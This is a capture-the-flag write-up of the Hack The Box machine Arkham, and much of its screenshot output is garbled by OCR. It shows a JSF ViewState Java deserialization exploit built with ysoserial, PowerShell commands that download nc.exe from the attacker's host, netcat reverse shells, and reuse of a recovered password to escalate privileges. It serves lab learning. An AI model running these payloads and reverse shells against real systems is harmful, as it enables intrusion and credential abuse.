Arkham – 10.10.10.130

as always let’s start off with an enumeration scan using nmap

Nmap:

nmap •sv •sc •A •pn 
starting Nmap 7.70 ( org ) at 10:32 EDT 
Nmap scan report for Arkham. htb (10. 10. 130) 
Host is up (0.036s latency). 
rDNS record for 10.10. 10.130: arkham.htb 
Not shown: 995 filtered ports 
•ON nmap. txt Arkham. htb 
PORT 
80/tcp 
STATE SERVICE 
Open http 
VERSION 
Microsoft IIS httpd 16.0 
I http-methods: 
Potentially risky methods: TRACE 
lhttp•server•header: Microsoft-IIS/ 10.0 
l_http•title: IIS Windows Server 
135/tcp open rpc 
Microsoft windows RPC 
139/ t cp open netbios-ssn Microsoft windows netbios-ssn 
445/tcp open microsoft-ds? 
8080/tcp open http 
I http-methods: 
Apache Tomcat 8.5. 37 
Potentially risky methods: PUT DELETE 
l_http-open-proxy: Proxy might be redirecting requests 
l_http-titte: Mask Inc. 
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 
OS fingerprint not ideal because; Missing a closed TCP port so results incomplete 
No OS matches for host 
Network Distance: 2 hops 
service Into: OS: windc»./s; CPE: cpe:/o:microsott:windows 
Host script results: 
I _ clock-skew: mean: 
-9m42s, deviation: os, median: 
I smb2-security-mOde: 
2.02: 
Message signing enabled but not required 
I smb2•time: 
date; 2019-05-28 
start date: N/A 
TRACEROUTE (using port 8e/tcp) 
ADDRESS 
33.93 ms 10.10.14.1 
34.43 ms arkham.htb (10.10.10.130) 
-9m42s 
OS and 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
nmap -Pn -p- arkham.htb 
Starting Nmap 7.70 ( https://nmap.org at 2019-05-28 11:08 EDT 
Nmap scan report for arkham.htb 
Host is up (0.039s latency) . 
Not shown: 
PORT 
80/tcp 
135/tcp 
139/tcp 
445/tcp 
8080/tcp 
49666/tcp 
49667/tcp 
Nmap done: 
65528 tittered ports 
STATE 
open 
open 
open 
open 
open 
open 
open 
SERVICE 
http 
msrpc 
netbios-ssn 
microsoft-ds 
http-proxy 
unknown 
unknown 
address 
(1 host up) 
. 10. 
scanned in 210-62 seconds

2 unknown ports, let’s scan these:

nmap •sv •sc •A •pn 
Starting Nmap 7.70 ( https://nmap.org ) at 11:15 EDT 
"map scan report tor arkham. htb (uo.le.le. 130) 
Yost is up (0.038s latency). 
.p49666.49667 arkham.htb 
PORT 
STATE SERVICE VERSION 
49666/ t Cp Open ms rpc Microsoft Windows 
49667/ t cp open ms rpc Microsoft Windows 
Warning: OSScan results may be unreliable 
OS fingerprint not ideat because: Missing 
No OS matches for host 
Network Distance: 2 hops 
service Info: os: windows; CPE: 
TRACEROUTE (using port 49667/tcp) 
HPC 
RPC 
because we could not find at least I open and I closed port 
a closed TCP port so results incomplete 
HOP 
ADDRESS 
39.74 ms 10.10. 14.1 
40.99 ms arkham.htb 130) 
OS and Service detection performed. Please report 
any incorrect results at https://nmap.org/submit/

Port 139; 445:

smbmap.py couldn’t find anything -> no accessible shares without creds > WRONG

*note to self: Smbclient goto tool for share enumeration*

Try using smbclient

Enter password: 
smbclient 
Comment 
Remote Admin 
Master Wayne's secrets 
Default share 
Remote wc 
-L arkham. htb 
Sha rename 
ADMINS 
BatShare 
IPCS 
Users 
Disk 
Disk 
Disk 
Disk 
Reconnecting With SMBI for workgroup listing. 
do connect: connection to arkham.htb failed (Error NT STATUS RESOURCE NAME NOT FOUND) 
Failed to connect with SMBI 
no workgroup available 
smbclient 
Enter WORKGROUP\ root •s password; 
Try -help" to get a list of possible commands. 
smb: Is 
appserver. zip 
A 4046695 
sun Feb 
sun Feb 
Fri Feb 
3 2019 
3 2019 
1 2019 
5158399 blocks of size 4096. 21ø4ø01 blocks available 
1 
Gmb:

You can see in the picture I used smbclient \\\\arkham.htb\\BatShare as the way smbclient works, this is best option for windows boxes

Executed a get on that .zip file we found in that share.

After the download we unzipped the file and got an backup.img back.

With this note aside

cat IMPORTANT. txt 
Alfred. this is the backup image from our linux server. Please see that The Joker or anyone else doesn'l 
unauthentLtated Atr_ess to it.

Tried it with mount -o /path/to/img /path/to/mount

No luck–> tried something else: binwalk -e -> gave us the img in a directory

backup . . extracted IMPORTANT _ t x t 
backup. img 
root@kali: Ä/ Documents/HTB/Arkham 
cd _ backup. img.extracted/ 
10.130 I s 
7Ecee. ext2 
800000. ext 
825A23. zip 
850ee . ext2 
86CGO . ext2 
90858c 
zlib 
908sgc. 
908A53 
908A53. ziib 
9e8F4A 
zlib 
908F4A. 
90935E 
. zlib 
90935E 
90980D 
.zlib 
90980D 
909070 
909D7e.z1ib 
9eA247 
9eA247. zUb 
9eA730 
90A73e.z1ib 
90AB67 
. zlib 
90AB67 
9GBG45 
zlib 
9GBG4S. 
90B4D3 
9eB4D3. zlib 
908998 
908998. zlib 
90BEFC 
. z lib 
9DBEFc 
90C429 
90C429. zlib 
90C864 
. zlib 
90C864 
90CDA5 
. zlib 
90CDA5 
900240 
900240. zlib 
90D6C4 
9006c4. zlib 
900808 
90DBDB . zUb 
90E017 
. ziib 
90E017 
90E4D2 
. ztib 
90E4D2 
. zlib 
9eEE66 
90EE66. zub 
90F349 
. zlib 
90F349 
90F94B 
. 21 ib 
90F94B 
90FEAE 
90FEAE.ztib 
9102Fe 
9102F0. zlib 
910892 
910892. zlib 
910088 
910088.z1ib 
91119D 
91119D.z1ib 
91165F 
91165F 
911827 
911327. 
91212C 
91212C .zlib 
912578 
912578.z1ib 
91298 
9129Ed 
912E50 
912E50 
9132F9 
9132F9. 
913758 
913758.z1ib 
913C9F 
913C9F . zlib 
914220 
914220 
914710 
914710. 
914BAE 
9143AE.z1ib 
915008 
91sooa.z1ib 
9154ca 
9154ca. 
-10.10. 
.zlib 
.zlib 
.zlib 
zlib 
.zlib 
z lib 
915943 
915943. zlib 
915E77 
.zlib 
915E77 
916251 
zlib 
916251. 
9166FE 
9166FE. ztib 
916C8D 
916C80. zlib 
917180 
917180. zlib 
9176EF 
.zlib 
9176EF 
917B6E 
ztib 
917B6E. 
918064 
918064 
. zlib 
9184CE 
9184CE.z1ib 
918970 
.zlib 
918970 
918E80 
zlib 
918E80. 
9192E9 
9192E9. zlib 
919885 
919885. zlib 
919CE4 
919CE4.z1ib 
91A2A6 
91A7D4 
91A7D4. 
91ACBA 
. zIib 
91ACBA 
91BICE 
. zlib 
91BICE 
91B66F 
91B66F . zlib 
91BB2E 
91BB2E.z1ib 
918FE3 
. zIib 
91BFE3 
91C522 
91C522 
91C993 
91C993.z1 ib 
91CDC1 
91cDC1.z1ib 
91026E 
91D26E.z1ib 
910699 
. zIib 
910699 
91DADD 
91DADD 
91E00C 
91EOOC.z1ib 
91E5EA 
91EBE9 
. z lib 
91E8E9 
91F11a 
91F11a.z1ib 
91F5D4 
. zlib 
91F5D4 
91F9A1 
. zlib 
91F9A1 
91FDDF 
91FDDF.z1ib 
92618A 
92013A.z1ib 
92061A 
92e61A.z1ib 
920AD7 
.zlib 
920AD7 
92GF68 
zlib 
92eF6B. 
921495 
921465.z1ib 
921968 
9219e8.z1ib 
921007 
.zlib 
921007 
922168 
922168 
922702 
9227e2.z1ib 
922BF5 
9228Fs.z1ib 
923072 
923072.z1ib 
92353A 
92353A . zlib 
923902 
923902. zUb 
923ECD 
.zlib 
923ECD 
9242E5 
.zlib 
9242E5 
9247E9 
9247E9. zlib 
924C5A 
924C5A. zUb 
925160 
. zlib 
925160 
9255EF 
. zlib 
9255EF 
925AAC 
. ztib 
925AAC 
925EFe 
925EFe . zuib 
9263FB 
9263FB. zUb 
9269A8 
. zlib 
9269A8 
926E6C 
.zlib 
926E6C 
927269 
927269. ztib 
9276CB 
9276CB . zUb 
9278co 
. zlib 
927Bco 
9280EB 
9280EB.z1ib 
928485 
. zlib 
928485 
928967 
. zlib 
928967 
92BE71 
928E71 .zlib 
92934E 
92934E.z1ib 
9298CA 
9298CA.z1ib 
929081 
. zlib 
929081 
92A248 
zlib 
92A248. 
92A6CF 
92A6CF 
.zlib 
92AB81 
92Ad81.z1ib 
92804c 
. zlib 
92804c 
928579 
. 21 ib 
928579 
92BA28 
92BA28.z1ib 
92BE62 
92BE62 .zlib 
92C38D 
92C38D.z1ib 
92C8E4 
92c8E4. zlib 
92CDC2 
92CDC2.z1ib 
920202 
.zlib 
920202 
920701 
zlib 
92D7D1. 
920072 
920072. ziib 
92009 
92E3e9.z1ib 
92E89B 
.zlib 
92E89B 
92EDE5 
.zlib 
92EDE5 
92F304 
ztib 
92F763 
92F763. zlib 
92FBA8 
92FBA8. zlib 
930001 
.zlib 
930001 
93049E 
zlib 
93049E. 
930958 
930958. ztib 
930049 
930049. 
980446 
. z lib 
980446 
980589 
980589. zlib 
980899 
980899. zlib 
980FB8 
980FB8. ztib 
981458 
9818E3 
9818E3. zlib 
9810A6 
981DA6. zlib 
982283 
982283. ztib 
982723 
982723. 
982CDC 
982CDC . zlib 
983187 
983187. 
9836ce 
9836ce. ziib 
983AEE 
983AEE . ztib 
ext- root 
Hask

now we can look for some juicy info

Found some users:

When we look closely we can see the users are commented out with <!– –>

None of the other tomcat files seems useful… 

When we look further though, we can see 3 pictures. I decided to take a closer look. Opened all three but the mycar.jpg seems to give some problems opening. Let’s see if nothing is hided in it. 

DECIMAL 
232958 
233021 
HEXADECIMAL 
Ox38DFE 
ox38E3D 
DESCRIPTION 
JPEG image data, 
TIFF image data, 
Zip archive data, 
Zip archive data, 
binwalk mycar.jpg 
EX IF standard 
little•endian offset of first image directory: 
at least VI.O to extract, name: Mask/ 
at least VI .0 to extract, name: Mask/docs/

Another zip archive.

Let’s get it using binwalk -e

We have a docs directory with a pdf file in it. The file seems damaged. Let’s take a look here too.

: -'Documents/HTB/Arkham-10.10.10.130 /appserver,' 
ed/Mask/docs* binwalk Batman-deqins .pdf 
DECIMAL 
441 
1945 
3eee 
4184 
5347 
6566 
7859 
8995 
10460 
11703 
12992 
14962 
15529 
16780 
18003 
19274 
HEXADECIMAL 
Oxo 
ex46 
OxlB9 
Ox799 
oxBB8 
oxle58 
ex14E3 
ex19A6 
oxlEB3 
ox2323 
ox28DC 
ex2DB7 
ex32ce 
ex36EE 
ex3CA9 
ex418C 
ex4653 
ox4B4A 
DESCRIPTION 
PDF document, version: • 
zlib 
Zlib 
Zlib 
Zlib 
zlib 
zlib 
zlib 
zlib 
zlib 
zlib 
zlib 
Zlib 
Zlib 
zlib 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
compressed 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
data, 
best 
best 
best 
best 
best 
best 
best 
best 
best 
best 
best 
best 
best 
best 
best 
best 
best 
_backup . ing. extracted/"ask/ _mycar. j pg. extrac t 
compression 
compression 
compression 
compression 
compression 
compression 
compression 
compression 
compression 
compression 
compresslon 
compression 
compression 
compress Ion 
compression 
compression 
compression

Still no juicy info thus continuing the search.

Found a juicy file in /Mask/tomcat-stuff/web.xml.bak

We can see some interesting values

Secret: SnNGOTg3Ni0=

MAC_Algorithm: HmacSHA1

MAC_Secret: snNGOTg3Ni0= -> same as secret. -> decoded value=JsF9876-

Here we see a possible java deserialization vulnerability. We have here all items needed to make a legit code injection in the java code.

Before we continue this we need to find the vulnerable page.

port 80:

I @ 10.10_10.130 
Windows Server 
Internet Information Services 
Welcome 
Tervetuloa 
Bienvenido 
Bem-vindo 
Vålkammen 
Wil m men 
O'N2n 
A06po 
n o xanoaaTb 
Witam y 
jok

Obviously windows server.. Let’s try get some more with dirb

dirb http://10.10.10.13t 
DIRB v2.22 
By The Dark Raver 
START TIME: Thu May 23 2819 
URL BASE: http://lo.lo.lo.130/ 
WORDLIST FILES: /usr/share/dirb/wordlists/common. txt 
GENERATED WORDS: 4612 
scanning URL: http://1e.1e.1ø.130/ 
END TIME: Thu May 23 2019

This port will not give us much.

Let’s try 8080 

Here is what the browser gives us

Mask Inc. 
G) arkham.htbB080 
Mado 
Enroll Today 
Secure vour 
data 
Don't let otheöcompaniesuse Sßurdata! 
AND SEeUR

Let’s try to dirb that site and then look around for ourselves meanwhile 🙂

dirb http://arkham. htb:8080/ 
DIRB v2.22 
By The Dark Raver 
START TIME; Tue May 28 2019 
URL BASE: http://arkham.htb:aeaa,' 
WORDLIST FILES: 
GENERATED WORDS: 4612 
- Scanning URL: http://arkham.htb:8080/ 
+ http:/,'arkharn.htb:8080/css (CODE 
+ http:/,'arkharn.htb:898G/fonts (CODE 
http://arkharn.htb:gego/images 
(CODE : 200 ISIZE 
• http://arkham.htb:eeee/js (CODE 
END TIME: Tue May 28 2019 
:11382)

Dirb Found 5 directories, but none of them were accessible.

We found an interesting page by navigating through website

Machine generated alternative text:
@ arkham.htb:8080/userSubscribe.faces 
SUBSCRIBE TO US 
So that we can inform you when our services roll out. 
SIGN UP 
Ill\ 
o 
s

Seems like it is expecting an email address to add to subscribers list.

From dirb we see there is a directory for javascript code, so we can bet the code is being called here.

 I feel like we have found our foothold with that possible code injection but we need to find out how to exploit it.

Let’s inspect some elements here.

G) 10.10.10.130080/usersuhscribetaces 
SUBSCRIBE TO US 
Co 
eDOCTrPE 
nethod= 
•input id 
( ) Style Ed.tor 
Netmrk g 
StMage 
"post • 
"Sign 
up 
for 
bet a 
• I • type='hidden". 
cesa 
type' "hidden • > 
Search HTML 
pointer • 
Rules 
Y Filter Styles 
Layout 
An i maticms Fcmts 
Iny«ited fro m body 
font-tufty: •Lato 
' , zan.i.ä.c.Lu; 
text -align: center: 
" sub.it•» 
Yer• 
e/ div. 
e/bodys 
e/htmt»

we got the secret which is used to create the HMAC so can craft our own packages.

Little explanation on the creation of HMAC: https://www.geeksforgeeks.org/computer-network-hmac-algorithm/

With the secret found we can use a script to make a malicious java object. We found some usefull scripts online.

https://github.com/pimps/ysoserial-modified -> original script is available here: https://github.com/frohoff/ysoserial

We took here the modified script because after some analyzation it was clear that this is better suitable for more complex commands and reverse shells

With looking at the github I decided to first try something easier.. Burp extension Java Serial Killer

The built-in module in Burp ‘Java Serial Killer’ makes use of this and checks for vulns

Like this I tried every payload there was available but with no luck. Importing that modified jar file has brought up some errors. 

Maybe just generate payload the manual way using the modified jar:

  1. java -jar ysoserial-modified.jar CommonsCollections5 cmd ‘ping 10.10.14.16’ > payload.bin
    With this command we will generate a code that executes a ping to our own computer
  2. openssl enc -des-ecb -K 4a7346393837362d -in payload.bin -out payload.bin.enc
    The generated code will then be encoded using a secret copied from github page.
  3. Python hmac_base64.py*** -> here is the secret used we found in the web.xml.bak
  4. openssl enc -base64 -in command.bin.enc -out command.bin.enc.b64
  5. CURL -X POST command with -d ‘{“j_id_jsp_1623871077_1”: “email=test@gmail.com”, “j_id_jsp_1623871077_1”: “submit=SIGN+UP”, “j_id_jsp_1623871077_1_SUBMIT”: “1”, “javax.faces.ViewState”:COMMAND.BIN.B64-CONTENT}’
module id 
- "SldS" 
end_pymotw header 
import base64 
import hmac 
import hashlib 
ith open( command. bin. enc • , 
body f. read() 
hash — 
- hmac. new( JsF9876. • , 
digest hash.digest() 
•rb•) as f: 
body, hashlib.shal) 
HMAc_Payload = base64.encodestring(digest) 
print HMAC Payload 
ith bin.enc•, as myfile:
little script for automating the process to build the payload

After executing the final curl -X POST commando we can see the pings incoming, which means we got code execution

986 10422 .239074.. 
987 10422 .239088.. 
988 10422 .239988.. 
989 10423 .246580... 
990 10423 .246596... 
991 10424. 263152.. 
992 
10.10 .16 .130 
10.10. 14.16 
10.10.14.16 
10.10. 10.136 
10.10.10.130 
10.10.14.16 
id=o 
10.10.16.130 
10.10.14.16 
10.1@.14.16 
10.10 .1€.130 
id-o» 
ICMP 
ICMP 
TCP 
ICMP 
ICMP 
ICMP 
ICMP 
Echo 
60 
60 
Echo 
40 8080 
60 Echo 
60 Echo 
60 Echo 
60 Echo 
(ping) request id=O 
(ping) reply 
id=o 
60174 CACK] seq=45 
(ping) request 
(ping) reply 
(ping) request 
(ping) reply

After this we can make a python script to automate all this stuff for once and for all.

I teamed up with X4v1l0k on that one and together we made one hell of a script, available on our github!

https://github.com/tryh4rd3r-team/collaborative/tree/master/Java%20Deserialization

Here is a little pretaste of the script

.10.10.10. 130* python 
userSubscribe. faces -t powershell - 
k 4a7346393837362d 
created by: X4v110k and Riva123. 
- URL: http://10.10.10.130:8ø80/usersubscribe.faces 
• Shetl type: powershell 
- openssL key: 4a7346393837362d 
- HYAC key: JsF9B76. 
- payload type: CommonsCOI lections5 
Checking response. 
creating payload with ysoserfal . 
Payload created. 
Sending request. 
Request sent . 
Response received. 
Enjoy your exploiting! 
Deseria1ization-RCE-v2.2.py -u 10. 10. 
-p ConmonsCol lectionsS -x 
-m J5F9876.

With the -x tag I did a test and it seems to be succeeded so we can go on!

Time to get that get that REV_SHELL!

Now we gotta create a reverse shell to execute on the box so we have a decent shell

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Here should be something useful

We should be able to download a file on the box using this command: 

powershell IEX (New-Object Net.WebClient).DownloadString(‘downloadurl’) we should be able to get a script up and running on the system

First let’s see how we will do this.

Putting a .ps1 there and run it won’t work because of PS Policy, you can’t just run scripts from another source. We need RemoteSigned to be on then, problem is to change that we need a shell as admin. Which I guess we don’t have. So we have to think of another way.

heard something about nc.exe -> I decided to go with it.

Let’s try downloading that and afterwards, let’s try triggering it to connect back to us.

Invoke-WebRequest https://dl.packetstormsecurity.net/groups/checksum/nc.exe -OutFile $env:TEMP\nc.exe

cd %TEMP% && nc.exe -nv 10.10.14.16 8844 -e cmd.exe

After some trial and errors I decided to download nc to my own webserver and make Arkhambox download it from there.

python Deserialization-V2.6.5.py -u 10.10.10.130:8080/userSubscribe.faces -k 4a7346393837362d -m JsF9876- -p CommonsCollections5 -t powershell -c “Invoke-WebRequest http://10.10.14.16/evil-files/windows/nc.exe -OutFile \$env:temp\nc.exe”

Machine generated alternative text:
python DeseriaIization-RCE-v2.2.py -u 10.10.10.130:8080/userSubscribe. faces 
-k 4a7346393837362d -m JsF9876- 
-p CommonsCollections5 
indows/nc.exe -OutFile . exe" 
1 17 / I 
created by: X4VIIOk and Riva123. 
-t powershell -c "Invoke-WebRequest http://10.10.14.16/evil-files/w 
- URL: http://10.10.10.130:8080/usersubscribe. 
- Shell type: powershell 
faces 
- Command: Invoke-WebRequest http://10.10.14.16/evil-files/windows/nc. exe 
- openssL key: 4a7346393837362d 
- HMAC key: JSF9876- 
- Payload type: CommonsColIections5 
Creating payload with ysoserial. 
-OutFile exe 
[+1 
[+1 
[+1 
Payload 
sending 
Request 
c reated . 
request. 
sent .

And now trigger it, also with our script:

python Deserialization-V2.6.5.py -u 10.10.10.130:8080/userSubscribe.faces -k 4a7346393837362d -m JsF9876- -p CommonsCollections5 -t cmd -c “cd %TEMP% && nc.exe -nv 10.10.14.16 8844 -e cmd.exe”

Machine generated alternative text:
python Deseria1ization-RCE-v2.2.py -u 10.10.10.130:8080/usersubscribe.faces 
-k 4a7346393837362d -m JSF9876- 
/ Il 
Il/ _ 
-p CommonsCoUections5 
-t cmd -c "cd nc.exe -nv 10.10.14.16 8844 -e cmd.exe•• 
Il (_l I 
Created by: X4v110k and Riva123. 
- URL : http://lo.lo. faces 
- Shell type: cmd 
- command: cd nc.exe -nv 10.10.14.16 8844 
- OpenSSL key: 4a7346393837362d 
- HYAC key: JsF9876- 
- Payload type: CommonsCollections5 
I I Illi 
-e cmd.exe 
[+1 
[+1 
[+1 
[+1 
creating payload with ysoserial. 
Payload 
Sending 
Request 
created. 
request. 
sent.

We got our shell:

Machine generated alternative text:
nc - Ivp 8844 
listening on [any] 8844 
connect to [10.10.14.161 from arkham.htb [10.10.10.130] 49685 
Microsoft Windows [version 10.0.17763.1071 
(c) 2018 Microsoft Corporation. All rights reserved. 
C: \ Users Local

Let’s see what we have here

We have shell as Alfred, let’s see in his home directory if we got user…

Machine generated alternative text:
Directory 
02/03/2019 
02/03/2019 
02/03/2019 
of 
09 : 33 AM 
09:33 AM 
09:33 AM 
1 File(s) 
70 user. txt 
70 bytes 
2 Dir(s) 
bytes free 
user. txt 
more user. txt 
ba659321C89C48a3dcb915bc46d58071

ba659321c89c48a3dcb915bc46d58071

Yes!

Finally user.

ONTO ROOT!

After some cd’ing around we found a backup.zip file inside Alfreds’ download folder.

To unzip it, we need to first determine which version of powershell is installed

Can be done issuing the command $PSVersionTable:

Machine generated alternative text:
PS $PSVersionTable 
$PSVersionTable 
Name 
PSVersion 
PSEdition 
pscompatibleversions 
BuildVersion 
CLRVersion 
NSManstackVersion 
PSRemotingProtocoIVersion 
SerializationVersion 
value 
5.1. 17763.1 
Desktop 
{1.0, 2.0, 3.0, 
10.0.17763.1 
4.0 . 30319.42000 
3.0 
2.3 
1.1.0.1

Alright, it’s kinda the latest. Let’s use what we know

Expand-Archive -Path “<file.zip>” -DestinationPath “<file>”

Machine generated alternative text:
PS Expand-Archive -path backup. zip 
•41 AM 
5. 
-Destinationpath backup 
Expand-Archive -path backup . zip -Destinationpath 
PS Is 
Is 
Di rectory : 
Mode 
C: \ Users\Alf red\Downloads \backups 
LastWriteTime 
6/12/2019 
2/3/2019 
6/12/2019 
8. 
. 06 
8. 
. 20 
Length 
124257 
28160 
backup 
Name 
backup 
backup . zip 
nc. exe

*note: the nc.exe was there from some previous tests, I first tried to send the backup file over an nc connection and therefor I’ve put the nc.exe in the same folder to make it less complex*

Machine generated alternative text:
PS Is 
Di rectory : 
Mode 
-a-- 
C: \ Users\Alf 
LastWriteTime 
2/3/2019 
4:30 AM 
Length Name 
16818176 alfred@arkham.local.ost

In the backup folder we find an .ost -> backup from mailbox. Could be juicy

Let’s go get it!

As we tried that nc before to tranfer files, we will not try that now. We will try to find some way via the tomcat site.

I think we have a directory where we can upload some shit and view it in browser.

C:\tomcat\apache-tomcat-8.5.37\webapps\ROOT\

C:\Users\Alfred\Downloads\backups\backup\alfred@arkham.local.ost

So we renamed the .ost to alfred.ost just to make it simpler to copy

After the copy command we can see it’s present in the ROOT directory

Directory: 
Mode 
c: tomcat-8.5. 
LastWri teTime 
2/ 1/2019 
2/1/2019 
2/1/2019 
2/ 1/2019 
2/ 1/2019 
2/1/2019 
2/1/2019 
2/1/2019 
2/3/2019 
12/24/2018 
12/24/2018 
12/24/2018 
9. 
•56 AM 
9:56 AM 
9:56 AM 
9:56 AM 
9. 
•55 AM 
9:56 AM 
9:55 AM 
9:55 AM 
4:30 AM 
6. 
11 
6. 
.16 
6 
: 45 
Length 
16818176 
11382 
1724 
1411 
Name 
favicons 
fonts 
images 
META-INF 
scss 
WEB-INF 
alfred.ost 
index . html 
thankyou . j sp 
userSubscribe. j sp

Let’s download the file

ost 
a Ifred.ost 
You have chosen to open: 
alfred.ost 
which is: unkno.vn (160 MB) 
from: http:no.ro.10.130:8080 
What should Firefox do with this file? 
Geany (default) 
(J Save File 
00 this automatically tor tiles like this trom now on,

Nice it works… now read the contents in search for a password or something juicy

Opening with geany won’t work tho so let’s just save it to our working directory and loop up what tools we can use to read the content

We search about how to inspect an .ost file on linux and end up using: readpst

By looking at help and online we learn to use it with -rS

readpst 
opening PST file and indexes... 
Processing Folder 
-Deleted Items" 
Processing Folder 
Inbox" 
Processing Folder 
•outbox" 
Processing Folder 
"Sent Items" 
Processing Folder 
"Calendar" 
Processing Folder 
"Contacts" 
processing Folder 
•Conversation Action Settings" 
• e items done, 7 items skipped. 
processing Folder 
-Drafts" 
"Calendar- 
- e items done, 3 items skipped. 
Processing Folder 
"Journal" 
Processing Folder 
•Junk E-Mail" 
Processing Folder 
"Notes" 
Processing Folder 
"Tasks" 
Processing Folder 
"Sync Issues" 
Processing Folder 
"Rss Feeds" 
processing Folder 
-Quick Step Settings • 
•rs altred.ost 
"alt red. ost" • 15 items done, 
Processing Folder -Conflicts" 
Processing Folder -Local Failures" 
Processing Folder -Server 
Failures" 
3 items done, 
"Sync Issues" 
e items skipped. 
O items skipped.

We dive in and see the Inbox is empty.. Lol

In drafts is an image and a filename. Let’s inspect

The image has hidden data in it. After dissecting it we get this in directory Drafts.

Itotal 
64 
drwxr 
-rw-r-- 
-rw-r--r 
drwxr-xr-x 
14:06 
-xr-x 6 
14:04 
14:04 
drmr-xr-x 
3 root 
root 
I root 
root 
root 
root 
root 
root 
root 
root 
4096 
4096 
37968 
10059 
4696 
Jun 
Jun 
Jun 
Jun 
Jun 
13 
13 
13 
13 
14. 
- 94 
14 _ 
-06 
I • imageOOI . png 
I-imaaeool. ona . extracted

In the text file we can spot this

Machine generated alternative text:

So maybe the passsword is somewhere in the mail or picture. As I think they may have suggested that in the mail…

When looking at the normal picture we see the password, nice!

100% 
Window. 
I •imaFOOI. 
exe 
6.3 .966d] 
G:) 2m 3 Corporation. rights reserved. 
use G: 
ProFrties 
Size 677 *343 pixels 
Type PNG image I 
File Size 10.1kB 
Folder 
Aperture 
Exposure 
Focal Length 
Metering 
Camera 
Date 
Time

batman/Zx^#QZX+T!123

What we see here is a command that maps a networkshare ‘gotham’ as Letter G: in his directory. Therefor they used credentials of batman

After a lot of trial and errors we realized we can get shell as batman using this information, so let’s try that and see if we can map it then.

Batman shell:

  • create a .bat file on local kali with this:

@echo off

cd C:\tomcat\apache-tomcat-8.5.37\webapps\

nc.exe -nv 10.10.14.16 8899 -e cmd.exe

  • Transfer that bat file to arkham computer using the invoke request command (or wget since it’s an alias)
PS wget http: // 10. 10. 14. 16/ rev. bat -outfit e rev. bar 
get http://IO. 19.14. 16/ rev. bat -out file rev-bar

*made a typo here but since it was only name of file to put it in, didn’t matter just a rename did fix it*

  • Move that rev.bat into the tomcat/webapp directory

We downloaded it in the right directory so didn’t need to move the file 

  • run it using batmans creds in a pssession using the full path when executing the .bat file *note the full paths I provide*
    • $securePassword = ConvertTo-SecureString “Zx^#QZX+T!123” -AsPlainText -force
    • $credential = New-Object System.Management.Automation.PsCredential(“\batman”,$securePassword)
    • $session = New-PSSession -computername ARKHAM -credential $credential
    • $command = {C:\tomcat\apache-tomcat-8.5.37\webapps\rev.bat}
    • Invoke-Command -session $session -scriptblock $command -> after this you should receive connection on the listener you’ve set up.

After issuing whoami we can see we have shell as batman

nc -Ivp 8899 
S listening on [any] 8899 
connect to (10.10. 14.161 from arkham.htb (10.10. 10. 1301 49883 
Microsoft Windows (Version 17763.1071 
(c) 2018 Microsoft Corporation. All rights reserved. 
c: tomcat \ apache- tomcat - 
whoami 
arkham\ batman

Part two of priv esc. : getting the root flag

Now as batman in shell we can try to map other shares that weren’t available the first time.

C: use G: 
net use G: 
The command completed successfully.

We got in the C$ drive, which is the C:\ drive. Probably with less restrictions. Let’s try to access the admin directory

For some reason we couldn’t just cd to the network share but we could use it as a full path so I tried to output the root flag instantly

: G: root. txt 
more . txt 
,636783f913109f28ß9701e8545ef4fdb

636783f913109f2809701e8545ef4fdb

WORKED, we got root!!!

Now I think the box has a few different ways of getting the root flag. 

I know about a way abusing the <%@ @%> in the .jsp files in root directory.
But that will be for another time maybe